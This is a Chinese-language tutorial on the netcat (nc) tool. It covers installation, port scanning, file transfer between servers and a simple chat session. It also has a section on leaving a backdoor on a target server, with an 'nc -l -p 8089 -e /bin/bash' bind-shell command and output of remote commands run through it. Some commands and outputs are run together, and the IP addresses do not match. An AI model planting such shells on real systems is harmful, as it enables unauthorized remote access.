nc(netcat)
nc(netcat) 是一個簡單強大的網路命令列工具,透過TCP,UDP在網路中讀寫資料。
安裝
$ yum install nc [On CentOS/RHEL]
$ dnf install nc [On Fedora 22+ and RHEL 8]
$ sudo apt-get install Netcat [On Debian/Ubuntu]
用途
nc 可以被用來進行埠掃描,埠重定向,或者作為埠監聽器,也能被用來開啟遠端連線,還可以留後門訪問目標伺服器。
- 埠掃描
nc能被用來進行埠掃描(支援單埠掃描和多埠掃描),探測埠是否開啟以及目標機器服務是否活著。
單埠掃描:
多埠掃描nc -z 10.95.96.24 8201 Connection to 10.96.90.14 port 8201 [tcp/trivnet2] succeeded! //說明10.96.90.14埠8201是開啟的
nc -z 10.95.96.24 8201-8205 Connection to 10.96.90.14 port 8201 [tcp/trivnet2] succeeded! //8201埠是開啟的 Connection to 10.96.90.14 port 8202 [tcp/*] succeeded! //埠8202是開啟的
- 不同伺服器之間檔案傳輸
nc支援不同伺服器之間進行檔案傳輸(前提:兩個伺服器都已安裝nc)
例如將本地檔案傳輸到目標機:
在本地如下操作:
nc 目標機 8888 < 檔名
在目標機如下操作:
nc -4 -l 8088 > 檔名
具體例項:將本地檔案test 傳輸到機器10.16.96.13nc 10.16.96.13 8088 < test //在本地執行 nc -4 -l 8088 > test //在目標機執行
- 建立IM 會話
nc還可以在兩個伺服器之間建立一個簡單的IM會話。(前提:兩個伺服器都已安裝nc)
本地A(10.16.96.13)執行如下命令建立一個chat server
在另一臺機器B和A建立一個caht 會話,nc -4 -l -p 8088
一個簡單的IM會話就這樣完成了。nc 10.16.96.13 8088
[root@8a7aa77a8ba4 lbs_plus]# nc 10.16.96.13 8088 i am xiaoming and you ? i am xiaohua nice to meet you me too
[root@qa-test-env-0 liguohan]#nc -4 -l -p 8088 i am xiaoming and you ? i am xiaohua nice to meet you me too
- 目標伺服器留後門
你也可以利用nc為伺服器設計一個後門。(前提:兩個伺服器都已安裝nc)- 先在目標伺服器上開放一個埠(例如:8089)
[root@8a7aa77a8ba4 lbs_plus]# nc -4 -l -vv -p 8089 -e /bin/bash Ncat: Version 6.40 ( http://nmap.org/ncat ) Ncat: Listening on 0.0.0.0:8089
- 在本地透過nc連線,連線後就可以隨意獲取目標伺服器的任何資訊。
nc 用法很多,這裡只提到了幾種常見用法,更詳細的用法可以閱讀官方文件:命令列下 man nc獲取Connection to 10.96.90.14 port 8089 [tcp/*] succeeded! cd /home/user pwd /home/user ls apollo conf.json conf.json_mx conf_template
參考文章:nc常見用法
- 先在目標伺服器上開放一個埠(例如:8089)
本作品採用《CC 協議》,轉載必須註明作者和本文連結